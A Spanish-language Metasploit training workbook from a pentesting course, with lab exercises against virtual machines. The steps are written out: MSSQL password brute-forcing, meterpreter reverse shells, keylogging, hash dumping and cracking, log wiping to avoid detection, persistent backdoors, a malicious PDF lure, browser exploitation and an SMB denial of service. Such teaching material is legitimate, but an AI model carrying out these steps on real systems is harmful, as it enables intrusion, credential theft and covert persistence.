Metasploit
Metasploit
Metasploit
Taller de entrenamiento:
Penetration Testing “Kung Fu” con
Metasploit Frameworkv 1.0
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
En efecto proyectos como Metasploit han revolucionado la forma en que se realizan las
auditorías, Test de Penetración y/o pruebas de seguridad a los sistemas de información, ya
que su potencia es tal, que personal técnico en el área de las tecnologías de la información sin
experiencia en seguridad de la información y/o usuarios mal intencionados pueden hacer uso
de Metasploit para realizar pruebas de seguridad de una forma sencilla y causar según el
usuario, un buen dolor de cabeza a los administradores de sistemas o por el contrario,
presentar importantes alertas de seguridad de forma anticipada, para corregir los agujeros y
debilidades de seguridad de un sistema informático. Sin embargo software como Metasploit
tiene más positivo que negativo, ya que tener un entorno de trabajo con exploits actualizados
y listos para ejecutarse, obligan a las empresas desarrolladoras de software a programar y
publicar los parches para los agujeros de seguridad que son aprovechados por los diferentes
marcos de explotación que existen en el mercado. Como es el caso de Metasploit.
Facilidad de uso: desde el usuario inexperto y novato en las pruebas de seguridad a sistemas
de información, hasta el usuario experto que tiene las capacidades de crear códigos de
explotación, puede hacer uso de todo el potencial de Metasploit como parte esencial de las
herramientas que usan para la realización de las pruebas de seguridad a los sistemas
informáticos.
Multiplataforma: Otra razón de peso para aprovechar todo el potencial de Metasploit, es que
puede ser usado en diferentes sistemas operativos como Linux, Windows, Unix, entre otros,
sin perder en ningún momento la potencia del software Metasploit, independiente del sistema
operativo que usa el usuario final.
La comunidad: Metasploit fue liderado por un experto Hacker llamado HD Moore en el año
2003, sin embargo con el pasar de los años, muchos expertos en desarrollo de códigos de
explotación se han sumado a este gran proyecto, con lo que miles de programadores del
mundo en la actualidad programan códigos de explotación de vulnerabilidades y los integran a
Metasploit, ayudando así a que la base de datos de exploit en Metasploit, sea de las más
completas en el mundo, y se mantenga bien actualizada.
Para comenzar de forma adecuada el estudio, análisis y práctica con el software de explotación
Metasploit, es importante conocer la estructura de Metasploit y algunos conceptos base
relacionados con la explotación de vulnerabilidades.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Payload: Es un código que acompaña y se ejecuta después del código de explotación, con el
objetivo de poder realmente hacer algo en el sistema de la víctima, por lo regular el código
Payload se usa para realizar una conexión entre el atacante y la víctima. Algunos ejemplos de
un Payload, sería la conexión a la víctima por medio de una Shell de comandos como cmd.exe
por ejemplo, o conectarse a la víctima usando el protocolo VNC. A modo informático,
Metasploit cuenta con más de 250 códigos del tipo Payload.
Módulos: Los módulos son pequeños componentes del sistema, donde cada módulo realiza
una tarea específica, la cual puede ser llamada en algún momento para integrarse a otros
módulos, y poder hacer así una tarea más representativa de forma completa y compuesta por
varios módulos.
ShellCode: El shellcode se define como un conjunto de instrucciones que son utilizadas por un
Payload cuando el proceso de explotación se ejecuta. Por lo regular en Shellcode está escrito
en lenguaje Ensamblador (Assembly). En la mayoría luego de que se ejecute el código
Shellcode se recibe al usuario atacante y/o auditor de seguridad una Shell de comandos.
Fuente: http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture
Libraries (Librerías): Las diferentes librerías son usadas de forma clave para el adecuado
funcionamiento de Metasploit, ya que estas son una agrupación de tareas definidas,
operaciones y funciones que pueden ser usados por los diversos módulos que componen
Metasploit. Una de las Librerías más importantes en el Framework de explotación Metasploit
es la Librería Rex, la cual es la base para la mayoría de tareas, ya que dentro de esta librería se
encuentran componentes de gran importancia como las implementaciones de los protocolos a
nivel de servidor y cliente.
Luego se tiene la Librería "MSF Core library", esta librería tiene como funciona principal la
implementación de todas las interfases requeridas, las cuales permiten el trabajo de forma
conjunta con los módulos de explotación, las sesiones, entre otros.
Interfaces: El entorno de trabajo de Metasploit, ofrece diferentes tipos de interfaces, cada una
de ellas con sus fortalezas y debilidades. Las interfaces son las siguientes:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
con abrir una shell de comandos y digitar el comando msfconsole, tal y como se aprecia en la
siguiente imagen.
Luego debe de abrirse la interface msfconsole, tal y como se aprecia en la siguiente imagen.
Al principio la interface puede parecer un poco compleja, pero a medida que el usuario va
conociendo los diferentes comandos, se podrá apreciar la facilidad de trabajo bajo la interfaces
msfconsole. Para usar la ayuda dentro de la interface msfconsole, se debe de digitar el
siguiente comando: msfconsole -h
Un listado completo de los comandos soportados por la consola msfconsole, puede ser
consultado en la siguiente URL:
http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands
Msfcli: Es una consola que se ejecuta directamente desde la línea de comandos (Shell). A
diferencia de msfconsole, msfscli es una consola más limitada, en la cual de igual forma se
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
pueden lanzar exploits, configurar módulos auxiliares, entre otros. A pesar de que su uso es
limitado frente a msfconsole, msfcli es una interface de gran utilidad para ejecutar tareas tales
como: probar nuevos exploits, realizar explotación específica cuando el usuario conoce el
exploit y las opciones, automatización básica y con scripts, además es adecuado para el
aprendizaje de Metasploit.
Es importante tener presente que msfcli, solo puede manejar una shell o un hilo de conexión a
la vez. En la siguiente imagen se podrá ver un ejemplo de uso de msfcli.
Msfweb: Es una consola web de fácil uso, del tipo apunte y tire o "Point-and-click".
Relativamente ha sido considerada como una consola inestable y de poco uso. Para este
módulo del diplomado en seguridad, no se hará uso de este tipo de interface.
Armitage: Es una interface gráfica a nivel de usuario, creada por Raphael Mudge, la cual posee
muchas características y se integra con Metasploit de forma gratuita. Para este módulo el
diplomado y/o taller de seguridad no se hará mucho énfasis en Armitage, pero vale la pena
que el estudiante luego profundice en esta interface, teniendo presente de forma anticipada el
buen manejo de la consola msfconsole, y que esté familiarizado con Metasploit Framework. En
el siguiente link se encuentra un interesante curso de puesta en marcha y pruebas con
Armitage. http://www.ethicalhacker.net/content/view/379/2/
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Nota: Para los módulos de explotación y post-explotación de este curso de seguridad, vamos a
basarnos principalmente y en un gran porcentaje en la interface msfconsole.
MsfPayload: Es una utilidad de Metasploit que le permite al usuario final tareas de gran
importancia tales como: Generar códigos del tipo shellcode, generar archivos ejecutables, para
pruebas de infecciones de virustroyanos por ejemplo. Con los las prácticas de laboratorio
vistas en el transcurso de este diplomado, veremos que la utilidad msfpayload es de gran
ayuda para los procesos de explotación del lado cliente (ClientSide).
MsfEncode: Los códigos del tipo “Shell code” generados pro msfpayload son totalmente
funcionales, sin embargo muchos de estos códigos contienen caracteres nulos, los cuales al ser
interpretados por muchos programas, pueden causar que el código no se ejecute de forma
completa. Además de que los Shellcode generados muy probablemente lleguen a la victima
pasando por redes que estén siendo vigiladas y protegidas por sistemas detectores de intrusos
y software antivirus. Por todas las razones expuestas anteriormente los desarrolladores de
Metasploit crearon Msfencode, el cual es una utilidad que ayuda a evitar que el shellcode
preparada por el auditor informático y/o Pentester, sea indetectable y no contenga caracteres
que afecten la ejecución del código antes de tiempo. Metasploit contiene diferentes encoders
(Codificador) para diversas situaciones. Para identificar la lista de opciones de la utilidad
msfencode, se debe de digitar el comando que se aprecia en la siguiente imagen:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Exploit Activos: Son códigos de explotación que se ejecuten en la maquina victima de forma
completa, incluyendo la finalización del código. Algunos ejemplos de exploits activos son:
ms08_067_netapi
smb/psexec
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Exploit Pasivos: Son códigos de explotación que esperan a que las víctimas se conecten a ellos.
Por lo regular son los códigos exploits que están del lado del cliente (ClienSide).
Clasificación de Payloads: Los códigos del tipo Payload (Carga Útil) en Metasploit dividen en
tres: Singles, Stagers, y Stages.Cada uno de ellos posee una gran variedad y pueden aplicarse a
diferentes escenarios.
Singles: Son tipos de Payloads que son autónomos e independientes, y se ven representados
en acciones como crear un usuario o abrir la calculadora (calc.exe) en el sistema víctima.
Stagers: Son tipos de Payloads diseñados de un modo pequeño y fiables y permiten configurar
una conexión de red entre la víctima y el atacante.
Stages: Son tipos de Payloads un poco más pesados, y permiten descargar y hacer procesos en
el sistema víctima tales como Inyección VNC, Meterpreter, entre otros.
Como se verá a lo largo de este curso de seguridad, Metasploit Framework tiene muchos
Payloads, pero meterpreter es uno de los que más funcionalidades tiene. Meterpreter se
define como una extensión de Metasploit, la cual permite aprovechar al máximo las
funcionalidades de Metasploit y aumentar el alcance en lo que respecta a comprometer a
nuestra maquina víctima. También puede definirse como un Payload avanzado.
Dentro de muchas de las funcionalidades y características que nos ofrece Meterpreter se
encuentran:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
En la siguiente imagen podemos apreciar una Shell Meterpreter que se le ha dado al usuario
atacante y/o auditor de seguridad, luego de que este ha realizado una intrusión exitosa sobre
un sistema vulnerable con S.O Windows XP.
Para usar la ayuda de meterpreter, basta con digitar el comando help directamente desde la
consola meterpreter.
A medida que avanza el curso de seguridad, veremos cómo utilizar Meterpreter en los
procesos de auditorías de seguridad y teste de penetración. Meterpreter será una de las
herramientas que más se usa en los procesos de explotación de este curso de seguridad
informática.
Otros Payloads importantes que se deben manejar y conocer dentro del entorno de trabajo de
Metasploit Framework:
windows/vncinject/reverse_tcp
windows/shell/reverse_tcp
windows/shell_bind_tcp
Explotación básica con Metasploit Framework: Para proceder a realizar el primer proceso de
explotación usando metasploit Framework, se hace necesario tener presente los siguientes
conceptos y criterios:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Tener en cuenta y como referencia los comandos de msfconsole, los cuales se pueden
encontrar de forma completa en la siguiente Url: http://www.offensive-
security.com/metasploit-unleashed/Msfconsole_Commands
msf> show exploits: Este comando muestra todos los códigos de explotación que están
disponibles en metasploit Framework (La cantidad de exploits depende de la fecha de
actualización de metasploit). El anterior comando es de gran importancia, ya que cada día se
descubren nuevas vulnerabilidades, y por consenciente se crean e integran nuevos códigos de
explotación a metasploit framework. En la siguiente imagen se puede apreciar un ejemplo de
la ejecución de este comando.
msf> show auxiliary: Los módulos auxiliares en metasploit, tienen variedad de propósitos,
tales como: Scanners de red, Scanners de servicios, fuzzers, entre otros. Por lo tanto la
ejecución del comando en mención muestra en pantalla los módulos auxiliares disponibles
para metasploit framework. (La cantidad de módulos auxiliares depende de la fecha de
actualización de metasploit)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Prácticas de Laboratorio:
Paso 1: Ingresar a Linux Backtrack, y abrir una shell de comandos (Terminal). (Recordar que el
usuario y password respectivamente para Backtrack, es root y toor. Luego desde la shell de
comandos digitar startx para entrar al modo grafico)
Paso 2: abrir la consola msfconsole, lo cual se logra digitando el comando msfconsole desde la
terminal de comandos de Linux Backtrack
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Anotación: Para ingresar a la interface msfconsole, y a las otras interfaces que nos ofrece
metasploit, también lo podemos hacer por el entorno gráfico.
Paso 3: digitar el comando msfconsole -h, para poder ver la ayuda de la interface msfconsole
Paso 5: Una vez que se tiene una visión general sobre algunas de las interfaces de metasploit,
es importante tener presente que el software debe de quedar actualizado a los últimos
exploits, payloads, módulos auxiliares, entre otros. Para actualizar metasploit, simplemente
desde una shell se digits el comando respectivo para la actualziacion (Omitir esta paso, ya que
la imagen de Linux Backtrack suministrada tiene la última versión actualizada de Metasploit
Framework)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Anotación: Para efectos de este taller, ya se entrega Linux Backtrack con Metasploit
actualizado al día. Lo anterior para fines de optimizar tiempos, ya que actualizar metasploit en
el equipo e cada estudiante, puede tomar algún tiempo, según la velocidad del canal de
Internet en donde se dicta el taller.
.
Práctica de laboratorio numero 2
Objetivos: Verificar la conexión de Metasploit con un sistema de bases de daos, para
ir almacenando la información de los host que se están evaluando a nivel de
seguridad, en lo que respecta a procesos de scanning de puertos.
Recursos: VMWARE, Metasploit Framework, Windows Server y Backtrack 5
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están evaluando y próximamente atacando, para
comprender mejor el trabajo de análisis de seguridad y/o penetration testing
realizado.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso 2: digitar el comando db_status, para identificar que metasploit esté conectado a una
base de datos llamada msf3dev
Paso 4: digitar el comando hosts para ver los resultados de los host que se tienen guardados
en la base de datos. Para el siguiente caso, se tienen dos host.
Paso 5: realizar un scanning de puertos usando nmap, con la opción de exportar los resultados
del scanning a un archivo del tipo XML. El scanning de puertos se puede hacer a un solo host, o
directamente a toda una subred. Para el caso hacerlo sobre la maquina Windows 2003 Server.
Los resultados del anterior proceso de scanning, deberían de ser importados a la base de datos
de metasploit con el comando db_import seguido del nombre del archivo.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso 6: Una vez que se tienen algunos host registrados en la base de datos, con el comando
services, se pueden identificar los servicios que están a la escucha en las maquinas víctimas.
Nota: No olvidar ir borrando la base de datos con el comando hosts –d para ir probando las
distintas opciones de cómo se guardan algunos registros en la base de datos.
Paso 7: Realizar un proceso de Scanning de puertos usando los módulos auxiliares de nmap
que están dentro de metasploit. Para lograrlo primero debemos de hacer una búsqueda con el
comando search de los módulos auxiliares de metasploit que tiene la función de scanning de
puertos, lo cual se logra con el siguiente comando: search portscan
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Dar el comando show options para ver las variables que necesita el modulo para poder
trabajar.
Paso 9: Indicar las variables que se necesita para realizar el scanning de puertos, para el caso
solo vamos a asignar valores a la variable RHOST que es la maquina target-victima, a la cual el
vamos a realizar el scanning de puertos, y vamos a asignarle valores a la variable PORTS, que
corresponde a los puertos TCP que vamos a verificar si están abiertos, cerrados o filtrados.
Según lo anterior los comandos para asignar los valores para ambas variables son:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso 9: El último paso es digitar el comando show options para ver que todo está bien, y si no
hay problemas, entonces de proceder a ejecutar el modulo Auxiliar de scanning de puertos con
el comando run
Una vez que se ejecute el modulo auxiliar contra uno de los targets (Objetivos de evaluación),
debe de salir los siguientes resultados (Recordar que las direcciones IP varían de acuerdo a
cada target de cada segmento de red de las máquinas virtuales)
Ir más allá: Para usuarios más avanzados y/o experimentados con metasploit, que tal si
ejecutan el anterior comando, pero colocando un sniffer como wireshark de forma paralela al
scanning de puertos, para capturar el tráfico y verificar el tráfico de red para un scanning de
puertos del tipo SYN.
Observaciones:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
NOTA: Omitir este paso, ya que se ha publicado en el sitio web del taller un archivo llamado
nessus.nbe.
Realiza un Scan de Vulnerabilidades total a uno o dos de los sistemas víctima, para el
caso lanzarlo contra la maquina Windows 2003 Server y/o Linux Metasploitable. (Para
lanzar el scanning es necesario crear una política de análisis de vulnerabilidades, según
las instrucciones del docente del taller.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Donde el archivo nessus.nbe corresponde al nombre del o los archivos generados por medio
de Nessus, en lo que respecta al proceso de análisis de vulnerabilidades.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
También se pueden hacer algunas búsquedas personalizadas en los registros que tenemos en
la base de datos de metasploit, tales como:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
El anterior comando envia los resultados del scanning de puertos a un archivo xml, el cual
pueda ser importado directamente a la base de datos de metasploit, lo cual s elogra
ejecutando el siguiente comando desde la consola msfconsole:
db_import nombredelreportexmldenmap
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas.
Paso 1: Trabajando con el Protocolo SMB: Realizar un proceso de scanning del servicio SMB
(Server Message Block Scanning), para lo cual se debe de seleccionar el modulo auxiliar
auxiliary/scanner/smb/smb_version. Para poder usar este módulo, se debe realizar de forma
secuencial lo siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:
use auxiliary/scanner/smb/smb_lookupsid
show options
set RHOSTS IP Windows Server
exploit
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:
Primero lanzarlo contra Windows XP SP2
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS (IP Windows XP SP2)
exploit
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS (IP Linux Metasploitable)
exploit
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
use auxiliary/scanner/snmp/snmp_enumshares
show options
set RHOSTS 192.168.137.28
run
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso 1: Scanning de Puertos y version del puerto TCP 1433: Si se tiene en cuenta los procesos
de scanning de puertos realizados en laboratorios pasados, se puede observar que el puerto
1433 TCP está en estado Listening (Abierto), esperando conexiones, además si se realiza un
proceso de scanning de puertos a este puerto en especial con la opción -sV de nmap, se puede
apreciar que el servicio y versión que están detrás de ese puerto, son Microsoft SQl Server
2005 SP1. Proceder a realizar el scanning de puertos, según los comandos de la siguiente
imagen. (Importante, ejecutar el comando nmap directamente desde metasploit)
Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/passwords/john/password.lst
set RHOSTS 192.168.137.28 (Aquí colocas la dirección IP de Servidor Windows)
set VERBOSE false
show options
run
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Como se puede apreciar en las anteriores imágenes, en modulo auxiliar mssql_login, logro
identificar una contraseña débil para el usuario SA (System Administrator), que para el caso,
la contraseña de acceso para el usuario SA es password
Ir más allá: Para complementar este ejercicio, realizar un análisis de vulnerabilidades usando el
Software NESSUS, revisar en los reportes de este software, que se identifican otro tipo de
vulnerabilidades críticas que pueden ser explotadas usando Metasploit Framework.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
HEAD / HTTP/1.0
En la anterior imagen se puede observar perfectamente que el servidor web del equipo
Windows 2003 Server, es IIS 6.0, software que tiene muchísimas vulnerabilidades conocidas y
códigos de explotación para aprovecharse de dichas vulnerabilidades.
En la anterior imagen se puede observar los resultados del comando ejecutado, donde se
puede observar que se identificó una vulnerabilidad en el puerto 445 TCP.
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Por lo anterior, se debe de identificar que se necesita el puerto TCP 445 abierto (Ver
resultados NMAP Anteriores), correspondiente al servicios CIFS/SMB, además que se
necesita la dirección IP del equipo victima asignada.
Para asignar la dirección IP de la víctima , debemos de ejecutar el siguiente comando:
set RHOST Dirección IP Victima (192.168.119.225 por Ejemplo).
Luego se debe de ingresar de nuevo el comando show options para verificar que en
efecto el valor de la dirección IP de la víctima fue asignado a la variables RHOST.
El siguiente paso es verificar cuales son los PAYLOAD que pueden usarse con este
Exploit, para lo cual daremos el siguiente comando: show payloads
Luego se debe de elegir uno de los PAYLOAD disponibles, para el caso de este ejercicio,
y de las explicaciones presentadas en el Diplomado, vamos a elegir el siguiente
payload:
windows/meterpreter/reverse_tcp
Para asignar este PAYLOAD a nuestro Exploit, se debe de ejecutar el siguiente
comando: set PAYLOAD windows/meterpreter/reverse_tcp
Luego la Shell (Consola de METASPLOIT), nos indica que el PAYLOAD se ha cargado.
Luego debemos de dar el comando show options, para ver las opciones que se
necesita asignar al PAYLOAD elegido.
El PAYLOAD elegido, necesita la variable LHOST, justo como se muestra en la siguiente
imagen (LHOST=Host Local, de donde se lanzara el Exploit, para el caso es la IP del
equipo Linux Backtrack)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Meterpreter tiene muchas opciones, pero para el caso, vamos a usar la opción que
me permite obtener una shell en el equipo víctima, lo cual podemos lograr
ingresando el siguiente comando en la consola de meterpreter: shell
Nota: Antes de lanzar el comando shell, entrar al equipo víctima, como usuario final, y
verificar por el administrador de tareas cuantos CMD.exe hay ejecutándose, luego
hacer los mismo, pero después de lanzado el comando shell.
El siguiente paso es crear algunas carpetas en la raíz del disco C: del equipo
víctima, usando el comando mkdir. Luego se debe de ingresar al equipo víctima,
como si fuéramos un usuario normal del equipo, y verificar que en efecto se han
creado las carpetas. (Recordar crear la carpeta dentro del disco C, y no dentro de
system32, para efectos de facilidad en la visualización del directorio creado)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Todas los valores a las anteriores variables, se asignan con el comando set
Jugando con Meterpreter: Teniendo presente que meterpreter tiene muchas funcionalidades,
salimos de la consola de comandos msdos (En caso de estarlo), y desde meterpreter,
comenzamos a usar varios comandos.
Se debe de identificar los procesos del sistema afectado, lo cual podemos lograr
con el comando ps, desde las shell de meterpreter.
Posteriormente debemos de identificar con que proceso nos pudimos colar en el
sistema victima Windows 2003 Server. Lo cual podemos identificar ejecutando el
comando: getpid, desde las shell de meterpreter. Luego ejecutamos de nuevo el
comando ps e identificamos el nombre del proceso con que ingresamos al sistema
víctima.
El siguiente paso es colocar en funcionamiento un Keylogger en el equipo víctima,
para poder registrar las pulsaciones del teclado.
Para lograr que el Keylogger funcione de manera adecuada, se debe de hacer lo
siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Finalizando esta paso del laboratorio, vamos a obtener todos los hash de los usuarios creados
en el sistema víctima, lo cual podemos hacer con el comando hashdump desde la consola
meterpreter
Luego debemos de colocar estos hash en un archivo de texto para luego proceder a realizar un
proceso de crack de password. Podemos copiar y pegar los hashes en la ruta
/pentest/passwords/john. Una vez allí usamos el editor nano para guardar el archivo, y luego
procedemos a ejecutar el software crackeador de password john the ripper, lo cual podemos
realizar con el siguiente comando: ./john hashwin
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Anotación: Los hash obtenidos también se pueden copiar y pegar en el siguiente sitio
web http://www.md5decrypter.co.uk y allí también pueden ser crackeados.
Sin embargo lo anterior puede ejecutarse de una mejor forma, y más fácil usando
metasploit, para los cual nos vamos a ayudar de dos módulos auxiliares llamados:
auxiliary/analyze/jtr_crack_fast
post/windows/gather/credentials/credential_collector
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Para poder ejecutar estos dos módulos de forma paralela, se debe de continuar
ejecutando los siguientes pasos:
desde msfconsole seleccionar el módulo auxiliar:
post/windows/gather/credentials/credential_collector
El anterior modulo se carga en metasploit con el siguiente comando:
use post/windows/gather/credentials/credential_collector.
Luego se da el comando show options y se observa que se le debe de indicar alguna de
las sesiones que se tengan activas en el momento, que para el caso deberíamos de
tener dos, una sesión para la explotación de MSSQL y otra la explotación SMB.
indicar la sesión activa con el siguiente comando: set SESSION 1
Luego se ejecuta el modulo auxiliar con el comando run
Como se puede observar en el siguiente resultado del comando, se obtienen todos los
hash de los usuarios de Windows.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Finalmente observamos que el módulos nos obtuvo todas las contraseñas (Darle
paciencia para obtener las contraseñas, ya que se demora un poco)
Por último debemos de proceder a realizar un borrado de los logs, para evitar procesos
de identificación de actividades, esto minimiza el riesgo de ser detectados. Lo anterior
se logra desde un consola Meterpreter, y ejecutando el siguiente comando:
Si luego se revisa el log, se podrá ver que los eventos han sido borrados.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
de análisis de seguridad y/o penetration testing realizado.
Esta práctica tiene como objetivo principal, que el estudiando se vaya
ambientando con la ejecución de exploits dentro de metasploit, y con la
consola meterpreter
Paso 1: Colocar una puerta trasera con meterpreter como servicio (Aquí se usa una conexión
directa-bind): Teniendo presente que meterpreter nos permite hacer muchísimas tareas de
explotación y post-explotación en la maquina víctima, vamos a proceder a dejar a meterpreter
como una puerta trasera en la maquina víctima, para que nos permita conectarnos a la víctima
cada que necesitemos hacerlo, y no dependa la explotación directamente de una
vulnerabilidad conocida, ya que esta puede ser solventada por el administrador de red. Para
lograr esta tarea, se debe de hacer lo siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso 2: Colocar una puerta trasera con meterpreter como servicio persistente:
Teniendo presente que meterpreter nos permite hacer muchísimas tareas de
explotación y post-explotación en la maquina víctima, vamos a proceder a dejar un
servicios persistente que este llamando al atacante por un puerto determinado, y cada
tiempo determinado, lo cual se logra realizando lo siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
de análisis de seguridad y/o penetration testing realizado.
Esta práctica tiene como objetivo principal, que el estudiando se vaya
ambientando con la ejecución de exploits dentro de metasploit, y con la
consola meterpreter
Paso 2: Explotación de navegadores con el módulo Browser autopwn: Continuando con los
procesos de explotación del lado, ahora vamos a configurar el exploit llamado use
auxiliary/server/browser_autopwn, el cual se aprovecha de vulnerabilidades conocidas de
varios navegadores. Para ejecutar este exploit, debemos de realiza lo siguiente:
Anotación: hay que darle un poco de paciencia a la ejecución de este exploit ya que
lanza varios códigos de explotación y al final nos muestra las sesiones que logro abrir
en la máquina víctima.
Práctica de laboratorio número 7 "Explotación en archivos PDF" del lado del cliente
Objetivos: Aprender cómo trabajan y se ejecutan los procesos de explotación del lado
del cliente (Client Side), en lo que respecta a generar archivos PDF con códigos
maliciosos.
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso Numero 1: Realizando explotación del lado cliente "PDF Malicioso": Continuando con
las labores de explotación del lado cliente, el siguiente ejercicio es utilizar un PDF real para
poder infectar con un código malicioso a nuestra víctima.
Configurar las variables con el comando SET. Las variables a configurar son LHOST e
INFILENAME, (En clase se dan las indicaciones para cada valor de cada variable)
Ejecutar el comando exploit
Luego que se ejecuta el exploit, el sistema nos indica en pantalla la ruta del archivo
pdf malicioso que se ha creado, que para el caso se llama evil.pdf
El siguiente paso es enviar por algún medio el archivo creado a nuestra víctima, para el
caso los vamos a publicar en el servidor web apache de nuestro Linux Backtrack.
(Recordar mover el archivo evil.pdf a la carpeta de apache /var/www)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Anotación: Sin embargo antes de que el archivo sea abierto en el equipo víctima
debemos de colocar el Linux Backtrack un Handler a la escucha.
Para colocar el handler a la espera de la conexión que se genera una vez el cliente (Victima)
abra el archivo pdf, se debe de realizar lo siguiente:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Metasploitable y Windows 2008 tengan ping desde linux Backtrack y que
están conectados en el mismo segmento de red, y que hay ping entre ambas
maquinas.
exploit/unix/irc/unreal_ircd_3281_backdoor
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Para explotar dicha vulnerabilidad, lo único que debemos de hacer es invocar al cliente vnc
que se encuentra dentro de Linux Backtrack, lo cual podemos hacer con el siguiente comando
desde linux backtrack:
vncviewer
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Paso Numero 3: Realizando explotación a Windows 2008 Server: Continuando con las labores
de explotación, procederemos esta vez a explotar a Windows 2008 server. Para fines de este
paso del laboratorio, ejecutaremos dos procesos de explotación, uno de ellos usando módulos
auxiliares para denegación de servicios, y otro para obtener una shell meterpreter en el
servidor.
Para ejecutar las labores de negación de servicios usaremos el siguiente módulo auxiliar:
auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
Luego de seleccionarlo con la variable use, le asignamos la variable RHOST, que para el
caso sería la dirección IP de Windows 2008 Server.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Luego se ejecuta el exploit con el comando exploit (tener un poco de paciencia, ya que
el exploit se demora algunos segundos en ejecutarse)
Backtrack 5
Observaciones:
Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
